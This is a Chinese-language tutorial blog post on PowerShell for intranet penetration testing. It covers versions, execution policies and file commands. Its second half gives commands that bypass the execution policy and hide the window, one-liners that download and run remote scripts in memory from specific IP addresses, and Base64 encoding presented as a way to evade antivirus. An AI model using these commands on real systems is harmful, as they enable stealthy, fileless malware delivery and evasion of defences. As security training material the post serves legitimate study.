内网学习——0x02 PowerShell

1、介绍

        PowerShell 可以简单的理解为 cmd 的高级版 cmd 能做的事在 PowerShell 中都能做,但 PowerShell 还能做很多 cmd 不能做的事情。
        
        PowerShell 内置在 Windows 7 Windows Server 2008 R2 及更高版本的 Windows 系统中,同时 PowerShell 是构建在 .NET 平台上的所有命令传递的都是 .NET 对象。
PowerShell 有如下特点:
        Windows 7 以上的操作系统默认安装
        PowerShell 脚本可以运行在内存中,不需要写入磁盘
        可以从另一个系统中下载 PowerShell 脚本并执行
        目前很多工具都是基于 PowerShell 开发的
        很多安全软件检测不到 PowerShell 的活动
        cmd 通常会被阻止运行,但是 PowerShell 不会
        可以用来管理活动目录

 可输入 Get-Host 或者 $PSVersionTable 查看 PowerShell 版本:

 

Windows 操作系统对应的 PowerShell 版本信息:
1.0 windows server 2008
2.0 windows server 2008 r2 windows 7
3.0 windows server 2012 windows 8
4.0 windows server 2012 r2 windows 8.1
5.0 windows 10
5.1 windows server 2016

2、基本概念

ps1 文件

ps1 PowerShell 的脚本扩展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件。

执行策略

为了防止恶意脚本在 PowerShell 中被运行, PowerShell 有个执行策略,默认情况下,这个执行策略是受限模式 Restricted
使用 Get-ExecutionPolicy 命令查看当前执行策略

执行策略有以下几种:
Restricted :不能运行脚本
RemoteSigned :本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)
AllSigned :仅当脚本由受信任的发布者签名才能运行。
Unrestricted :脚本执行不受限制,不管来自哪里,也不管它们是否有签名。
使用 Set-ExecutionPolicy <policy name> 设置执行策略,该命令需要管理员权限

运行脚本 

        PowerShell 运行脚本的方式和其他 shell 基本一致,可以输入完整路径运行,也可以到 ps1 文件所在目录下去运行,具体如下:

管道

PowerShell 中的管道类似linux中的管道,都是将前一个命令的输出作为另一个命令的输入,两个命令直接使用 "|" 进行连接。
列如,在PowerShell 中获取进程信息并以程序ID进行排序
Get-Process | Sort-Object ID

 

3.一些命令

-NoLogo :启动不显示版权标志的 PowerShell
-WindowStyle Hidden (-W Hidden) :隐藏窗口
-NoProfile (-NoP) :不加载当前用户的配置文件
–Enc :执行 base64 编码后的 powershell 脚本字符串
-ExecutionPolicy Bypass (-Exec Bypass) :绕过执行安全策略
-Noexit :执行后不退出 Shell ,这在使用键盘记录等脚本时非常重要
-NonInteractive (-Nonl) :非交互模式, PowerShell 不为用户提供交互的提示
PowerShell 下,命令的命名规范很一致,都采用了动词 - 名词的形式,如 Net-Item ,动词一般为 Add New Get Remove Set 等。 PowerShell 还兼容 cmd Linux 命令,如查看目录可以使用 dir 或者 ls

文件操作类命令

新建目录 test New-Item test -ItemType directory
删除目录 test Remove-Item test
新建文件 test.txt New-Item test.txt -ItemType file
新建文件 test.txt ,内容为 hello New-Item test.txt -ItemType file -value "hello"
删除文件 test.txt Remove-Item test.txt
查看文件 test.txt 内容: Get-Content test.txt
设置文件 test.txt 内容 t Set-Content test.txt -Value "hello"
给文件 test.txt 追加内容: Add-Content test.txt -Value ",word!"
清除文件 test.txt 内容: Clear-Content test.txt

绕过本地权限并执行

上面说到了默认情况下 PowerShell 的执行策略是受限模式 Restricted ,这就导致了在渗透测试过程中我们需要采用一些方法绕过这个策略,从而执行我们的脚本文件。
先来看看默认受限模式下执行脚本的情况
 
这里系统会提示在此系统上禁止运行脚本,但加上 -ExecutionPolicy Bypass 即可绕过这个限制
PowerShell.exe  -ExecutionPolicy Bypass -File .\powershell.ps1

绕过本地权限并隐藏执行

加入 -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile 即可隐藏执行。
PowerShell.exe  -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File .\powershell.ps1

下载远程脚本绕过权限并隐藏执行 

powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://123.56.82.231:8000/eryao7.ps1');
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps
或者简写
PowerShell.exe -Exec Bypass -W Hidden -NoLogo -NonI -NoP "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"

利用 Base64 对命令进行编码

使用 Base64 进行编码主要是为了混淆代码以避免被杀毒软件查杀,经过尝试这里直接使用 Base64 编码是不行的,可以使用 Github 上的一个编码工具,工具下载地址:https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py

下载好后,需要先将要执行的命令保存到文本文件中,这里保存到了 tmp.txt 文本中,之后执行 python ps_encoder.py -s tmp.txt 即可  

>cat tmp.txtIEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')>python ps_encoder.py -s tmp.txtSQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQA

使用 -Enc 指定Base64编码内容

PowerShell.exe -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALw

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ErYao7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值